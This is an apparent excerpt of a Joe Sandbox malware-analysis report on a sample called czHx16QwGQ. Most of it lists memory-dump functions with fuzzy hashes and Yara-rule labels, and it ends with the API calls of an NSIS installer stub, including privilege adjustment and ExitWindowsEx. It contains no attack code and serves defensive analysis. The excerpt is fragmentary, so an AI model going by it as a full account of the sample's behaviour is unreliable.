Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fa789abd398fbaf0cea192de68f4726d043239251f7db431d7f2558d66b4b23
Instruction ID: acc16d6b6cc5563ca3a5f86907c97ff3859bdc52ceaabe1ab5f3c4d46f842766
Opcode Fuzzy Hash: 1fa789abd398fbaf0cea192de68f4726d043239251f7db431d7f2558d66b4b23
Instruction Fuzzy Hash: 66219074E042089FDB09EFB8C4516AEBBB2EF8A304F0084A99804AB295DB745D56CF51

Function 0016B2C2 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c93979cc55d415ecf97c6aa2810b157bc984afe5e43ec45536b9c8fde4ae84b
Instruction ID: f3dd6f6e8d7e11eac8d4cd9234692b1a0d0f098782ee50c1444b5d471ccf0a23
Opcode Fuzzy Hash: 8c93979cc55d415ecf97c6aa2810b157bc984afe5e43ec45536b9c8fde4ae84b
Instruction Fuzzy Hash: F01104327083514FCB24AB759CA452E3BEAAFC5624704447ED905CB721FF61CC448791

Function 001617B8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f34ffe846e93da5606bb496e4ddea7c85168315e1b30c00233921df87190b870
Instruction ID: 90e9ca7eeaa1b9e107125e7bbabceaeac8bc869565c5a3ad7d512b23ca21b667
Opcode Fuzzy Hash: f34ffe846e93da5606bb496e4ddea7c85168315e1b30c00233921df87190b870
Instruction Fuzzy Hash: 9321F574D0524A8FCB01DFA8D8545EEBFB0BF4A300F1841AAD405B7261E7344A95CBA1

Function 38F4B9C8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15eb2670feb5fe37e203f119d6c1659f726dec5fed9c9c8811e9c32910b2894d
Instruction ID: 2153e6c7bbe4c23c1e3209d55fd18ba814a50ad3428b62b848cdd72f8e2ad2af
Opcode Fuzzy Hash: 15eb2670feb5fe37e203f119d6c1659f726dec5fed9c9c8811e9c32910b2894d
Instruction Fuzzy Hash: 8D2129B8D00219DFDB40DFA5C4557EEBBB2FB49300F508829D801B3260DB745A56CF90

Function 38F4B9C6 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a6bc74efe6606ecc08c3f641c9f27eecf125184225e87cf849ceab8e172cfbc
Instruction ID: 5b256f3878baaf3f47ffc141ed72fdd5090ed90a4cc745d5f468cf9cae437c25
Opcode Fuzzy Hash: 5a6bc74efe6606ecc08c3f641c9f27eecf125184225e87cf849ceab8e172cfbc
Instruction Fuzzy Hash: 822129B8D00219CFDB40DFA4C8557EDBBB2FB49300F508829D801B3260DB745A56CF90

Function 38F4943C Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af29a386e749c55e65e024dfeb255c6de65f10fc7a844a28fe7fe341d7fa91ed
Instruction ID: 363e1c6b1ccb54dabeb338b3f31baa4243db68426ae55b3ffb7520e1370a9f02
Opcode Fuzzy Hash: af29a386e749c55e65e024dfeb255c6de65f10fc7a844a28fe7fe341d7fa91ed
Instruction Fuzzy Hash: CE01242573D384CEF3421A34D8063467F24BBD2B2AB688DC7D0C8CB132C69AC51A8326

Function 00164E5F Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdcf56489632a78440ed9d341b4624638298a664c7ff1a93137352dd86e525bb
Instruction ID: 3e41f33651bb7f3f3b2b549b0de2af21c33e53886166498013b50f5725e28878
Opcode Fuzzy Hash: bdcf56489632a78440ed9d341b4624638298a664c7ff1a93137352dd86e525bb
Instruction Fuzzy Hash: 2601DF32B041146BDB05AEA49C51BAF3BE6EBC8750F148029F905D7384DB368E269BD0

Function 38F4E7F4 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4935ef8591b41caf1298eb77abe44fcaa41a4f09771d71e4fc2596e16a5cfc77
Instruction ID: 0c5c4a48c43e784e323b06f0028bda8d77b920d41e4dbb49322c394d83188427
Opcode Fuzzy Hash: 4935ef8591b41caf1298eb77abe44fcaa41a4f09771d71e4fc2596e16a5cfc77
Instruction Fuzzy Hash: 8C018C35740A018FD314DF6EC44191ABBF6FFC9744305896AE00ACB322EB30EC469B80

Function 0016B2F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e49d38ac55ccfaa77f35bacf27952f88d6e7f18f2f4769cf58ef853d7cbeada2
Instruction ID: 093fe902ae131a3337c0d1fa40fecb5fbc2a794662a5b099846a0fc2a3faf0f8
Opcode Fuzzy Hash: e49d38ac55ccfaa77f35bacf27952f88d6e7f18f2f4769cf58ef853d7cbeada2
Instruction Fuzzy Hash: 2901AD32B042158BDB24AB799C9462E76EBBFC46647148439D905C7320FF71CC408791

Function 38F4F098 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b69632bb73b483198549b4e74cb85245d909c44edca34169f31f258e00b097c8
Instruction ID: 3892a3eb8bf4198761964d5be864108038273679d841c406b62f275e0038376b
Opcode Fuzzy Hash: b69632bb73b483198549b4e74cb85245d909c44edca34169f31f258e00b097c8
Instruction Fuzzy Hash: F1015B717006118FD314DF6EC440959B7F6EF8A644315456AE00ACB322DB30EC469B80

Function 38F4CE50 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4851f0f8be66a0b8c4111a343d5eb6db2f325271fb66aaf2db903583859b15ac
Instruction ID: 0f49dfe8581bccec24692a4ab4e0f726ceb02f0d8cf533f7a475c1f08dd74094
Opcode Fuzzy Hash: 4851f0f8be66a0b8c4111a343d5eb6db2f325271fb66aaf2db903583859b15ac
Instruction Fuzzy Hash: 06018F34D12204CFDB04CFB4D8146EDBBB1EB8A301F90A42AC400B3262EB359853CF50

Function 00164664 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c51af4accd0ce551e12a594580fa4c8f084596dd63d3ef38797be27706fc8fb4
Instruction ID: cfed16e61f00d9a07a400b1d918fc19fea78d793eb0f6057f8762f5db42da237
Opcode Fuzzy Hash: c51af4accd0ce551e12a594580fa4c8f084596dd63d3ef38797be27706fc8fb4
Instruction Fuzzy Hash: 61018F36308145DFCF09AFA4DC945A97BA2FF8A310B118069F9158B265DB36CE72DF90

Function 00168D19 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 946347f187c33a41c0b0aa136b33e502425e9a3f6e147f8d93aa0bb902933446
Instruction ID: ec46897ba9d7581797895194e38e8d3aa2016da855c2d00a7790b31bdc8822fd
Opcode Fuzzy Hash: 946347f187c33a41c0b0aa136b33e502425e9a3f6e147f8d93aa0bb902933446
Instruction Fuzzy Hash: 33F0C2353002146FDB085AA69C54A7B7A8BEFCC3A1B048429F90AC7390DF71CC1193E1

Function 38F4CE60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be1da52622b6c3179ae970638867281bd0be69c684bd9011d956e960dc2b328
Instruction ID: 36cf556fa211aa95540f77f7c694b0ae34540a7bb9029f95a60e7ea7f9c684d0
Opcode Fuzzy Hash: 5be1da52622b6c3179ae970638867281bd0be69c684bd9011d956e960dc2b328
Instruction Fuzzy Hash: DDF03779E01208CFDB04DFB9D8546EDBBB5EB8A301F50A82AC404B3261DB399956CF60

Function 38F4EC22 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0d462ddbb0773aa2a0dc4dd48c490b7d81f063231b02c602ec8f20fe7ac5ffa
Instruction ID: ee480c73c2c17283c27c0e9cf7ea698102fa4e35202459bc1e6dff3bb5ad22f1
Opcode Fuzzy Hash: d0d462ddbb0773aa2a0dc4dd48c490b7d81f063231b02c602ec8f20fe7ac5ffa
Instruction Fuzzy Hash: A0F0FFB4E042189FDF119B68D800BBE7FB2FB84324F10152ED9459B681EB70954ACBC0

Function 38F49608 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4509e20d0b39d8f833067e99b930873121bd1ab655d66ff00b1b0dc6e32a88b3
Instruction ID: a14b2511c9e96472cf2e93e9cfacaa524f8d73453bcb3abc2e8c811093fcd7b3
Opcode Fuzzy Hash: 4509e20d0b39d8f833067e99b930873121bd1ab655d66ff00b1b0dc6e32a88b3
Instruction Fuzzy Hash: 7BF0E52138430557E20976BD9864B6F3A5EAFC5A92B014837F501D7740EF94DC0607F2

Function 0016B168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7b6566bfe6b70de1ba9e1a4e2e5f5bb92d8911a7d42503c7c9d7ec1ae9d3b9f
Instruction ID: 4d00222b38b8d0e70014705c73f69d1712e215d88f71cee807c8dc06da36c4b9
Opcode Fuzzy Hash: f7b6566bfe6b70de1ba9e1a4e2e5f5bb92d8911a7d42503c7c9d7ec1ae9d3b9f
Instruction Fuzzy Hash: 87E00975865F069BF2142B74BCBC23A7AB5FB0B317B846D10A04E824329B7854948B54

Function 00161877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 409a897903063dcee62135831d10cdfc2c0bc3e3ae2027aa173e53ff5714428c
Instruction ID: c8d430d030c95d29071a54f03444419a308995a108d69b74611a0610a048988f
Opcode Fuzzy Hash: 409a897903063dcee62135831d10cdfc2c0bc3e3ae2027aa173e53ff5714428c
Instruction Fuzzy Hash: AFE09A319113668EC702AFB0E8044EEBB30EE83211B0242A7D010AB090EB311A8ECB62

Function 00169F1B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a48df264ebd3a543b8b5cc1738f2c986d64c475324d833c3c16374ab3cc76067
Instruction ID: 098320a4349a53681e4e54d7e53e481b5d9111c5042acd20e69cf6b472681460
Opcode Fuzzy Hash: a48df264ebd3a543b8b5cc1738f2c986d64c475324d833c3c16374ab3cc76067
Instruction Fuzzy Hash: A2F01C36648144AFCB018B94EC90ADDBFB2BF49211F194196EA11EB2A1C2319925CB20

Function 0016FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d8f040632d9b2fe6113b2415489a5b29b049c30b6d0e96a6c08f6d9de88816d
Instruction ID: a38fe5ab587b1bceda6e83b4c9261144d758996556ac12c2fb32219b62f3b336
Opcode Fuzzy Hash: 4d8f040632d9b2fe6113b2415489a5b29b049c30b6d0e96a6c08f6d9de88816d
Instruction Fuzzy Hash: 37E09A74D04208EFCB04DFB8E80869CBBF5EB49300F6080BAD808A3320EB318E52CB40

Function 38F4BDA0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15e090193cab17399f0537bcef81fcba559eb006f1533493f05dd68aa2fab181
Instruction ID: b1484bffced4b50abf2f147ca744cc23d9a2dffc5ff556558319e9d995f3cce0
Opcode Fuzzy Hash: 15e090193cab17399f0537bcef81fcba559eb006f1533493f05dd68aa2fab181
Instruction Fuzzy Hash: 09E0ECB4869E42EFE3111B74AC6C6AA7F70FB5B317BC42D49E04E52032C7784045CB04

Function 00161888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0d553e65332d525feb81c01c0b9f1ddce0409cdb1747f0339b73ccf2c02959d
Instruction ID: 95853cd4a34060b04074003491279439ef00b1d81410583e0b290ca678964f17
Opcode Fuzzy Hash: d0d553e65332d525feb81c01c0b9f1ddce0409cdb1747f0339b73ccf2c02959d
Instruction Fuzzy Hash: 15D05B31D2022B97CB10E7A5DC044EFF738EED5262B504626D51537140FB712659C6E1

Function 00168B97 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b98385a841223b6b167b90d2b904af696f55bd38ff4a94b5bf5e90d966abeae
Instruction ID: db186801c752746458c434b7e86cdc042e494cc64a05549a158b5bde7f1d36de
Opcode Fuzzy Hash: 8b98385a841223b6b167b90d2b904af696f55bd38ff4a94b5bf5e90d966abeae
Instruction Fuzzy Hash: 57D02E32A021088ECB008BA8A8083FCB720DBA1331F11C127C20287044DB300E66EBB0

Function 001656FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b521f67ba108d37bbae6f62a6eade4940db582deb5df6f6f590360ca28d0e79e
Instruction ID: 96e374ce8c2ba1abcad73c794f0d6bc1ff73c389431bb2a7c82fb5546e50310f
Opcode Fuzzy Hash: b521f67ba108d37bbae6f62a6eade4940db582deb5df6f6f590360ca28d0e79e
Instruction Fuzzy Hash: EBE0C2320493948FCB06E731AC552893B7A6BD1501F404465E4044AAABEA6C1B4B8762

Function 00169F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af45f4efb6ef89664f4e2787efd92dd09339971438c880f715c7919e42fa6a65
Instruction ID: 6cc6e8dc267ac08500cc8a2e689cf4cfe9e92d4a63fda68791d737e89483c417
Opcode Fuzzy Hash: af45f4efb6ef89664f4e2787efd92dd09339971438c880f715c7919e42fa6a65
Instruction Fuzzy Hash: 1AD0673AB00008AFCB049F99EC809DDF776FB98221B048116F915A3260C6319965DB60

Function 38F495D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4feec46268d50a1c41985527095c99a34f4b83259eb90e4cd0091b6518d05d5
Instruction ID: 423c6ea7fd1fe27c0efb96ed16335984bd2c0f78dce81f7383a1dca412e80316
Opcode Fuzzy Hash: a4feec46268d50a1c41985527095c99a34f4b83259eb90e4cd0091b6518d05d5
Instruction Fuzzy Hash: A7C08033345710075628F21CF85058F7F559DC56527518D37F408C32146E549D4F42C5

Function 0016FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd40d5f464d8297e90d47799e7269e13169f570361e6fcd4da55e6d30faebb8b
Instruction ID: 2cf549234b73193059f43d100faf42f228e5ee68cc216044297d4aa33716a078
Opcode Fuzzy Hash: dd40d5f464d8297e90d47799e7269e13169f570361e6fcd4da55e6d30faebb8b
Instruction Fuzzy Hash: 54D02271C0120CEFC300EFA8E805BA9B37CE703302F4000ECA40823210CB700D10D784

Function 38F4D0A1 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7d0fe1839a06195843bdf8d7bc0c84912e17f982c6f17bbf9fbf9c2c17e91b2
Instruction ID: 0332df85656c292764a04052b276a7ef0420c8ce3110e0ae79236f78f3e08eb1
Opcode Fuzzy Hash: e7d0fe1839a06195843bdf8d7bc0c84912e17f982c6f17bbf9fbf9c2c17e91b2
Instruction Fuzzy Hash: F1C0223330C7901FD726C238F0010CC7F004EC1560B4409AAD08C8B085DB408983C3C5

Function 38F4BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aeed62e7b3ee47e1722ef2728258ef2b2b1492b013172a5d34eae62908825dd
Instruction ID: ef001b937565dd5bd454dcf37c34f4c4abc5f9f34206995a7cd35a16246ea597
Opcode Fuzzy Hash: 9aeed62e7b3ee47e1722ef2728258ef2b2b1492b013172a5d34eae62908825dd
Instruction Fuzzy Hash: F1C012B4004E098BF2042BA0AC1CB39B6B8B707303FC82D10A408028318BB844148644

Function 38F4D72F Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c35d9f628fac451f7e728579ce667afa2601b8b72ab3494a08894d51d6038cc8
Instruction ID: 260a53b345d24ff2f4f56c8568e006fbc1e0f759cf5e21c522dc7566ae1dd7ac
Opcode Fuzzy Hash: c35d9f628fac451f7e728579ce667afa2601b8b72ab3494a08894d51d6038cc8
Instruction Fuzzy Hash: 1CD0A93014C2C82ECF0227B0A8691E83F26EB4720DF1800ECF48666A47CA92C5838F80

Function 38F494B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2747378559.0000000038F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 38F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38f40000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5d985a192c7cfb6e973e5cac5ee9d61ba72c5ac93e38eb1c9e8bcd7baf1c81e
Instruction ID: 83d6b9c2c37c9a2b27584817642b63a91c88e5ff87754df6ff0961c4bc65b3ba
Opcode Fuzzy Hash: c5d985a192c7cfb6e973e5cac5ee9d61ba72c5ac93e38eb1c9e8bcd7baf1c81e
Instruction Fuzzy Hash: F1C08C302683048FE200AA1DC884B013BACFF85B04F6028E2F4048B622CB22FC004B09

Function 00165710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717298092.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_160000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec1174b1a3ce9096ce16e7e0d81505d29e95d4a38ff232d2c2d6b40c0f61510c
Instruction ID: 4be034cd58974d5d469fecb72f09ac89fdd42c25890bf9f02e0aef38fbde4605
Opcode Fuzzy Hash: ec1174b1a3ce9096ce16e7e0d81505d29e95d4a38ff232d2c2d6b40c0f61510c
Instruction Fuzzy Hash: 4FC012310553188FDA45E765DC46655373A77D05017808510A4051A56EDFB8595B4B91

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,?,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,?,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,?,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,?,00435000,00000000,?,00000006,?,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(?,00437800,?,00000006,?,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,?,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,?,0000000A), ref: 00403705
GetTempPathW.KERNEL32(?,00437800,00437800,\Temp,?,00000006,?,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,?,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,?,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,?,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,?,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,?,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,?,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,?,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,?,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,?,?,00000006,?,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,00000001,?,00000006,?,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,?,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(?,0000000A,00000006,?,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

TEMP, xrefs: 0040372D
\Temp, xrefs: 004036FF
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
Error launching installer, xrefs: 004037D0
SeShutdownPrivilege, xrefs: 0040396F
Low, xrefs: 0040371B
NSIS Error, xrefs: 00403567
~nsu, xrefs: 00403845
TMP, xrefs: 00403735
.tmp, xrefs: 00403861

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

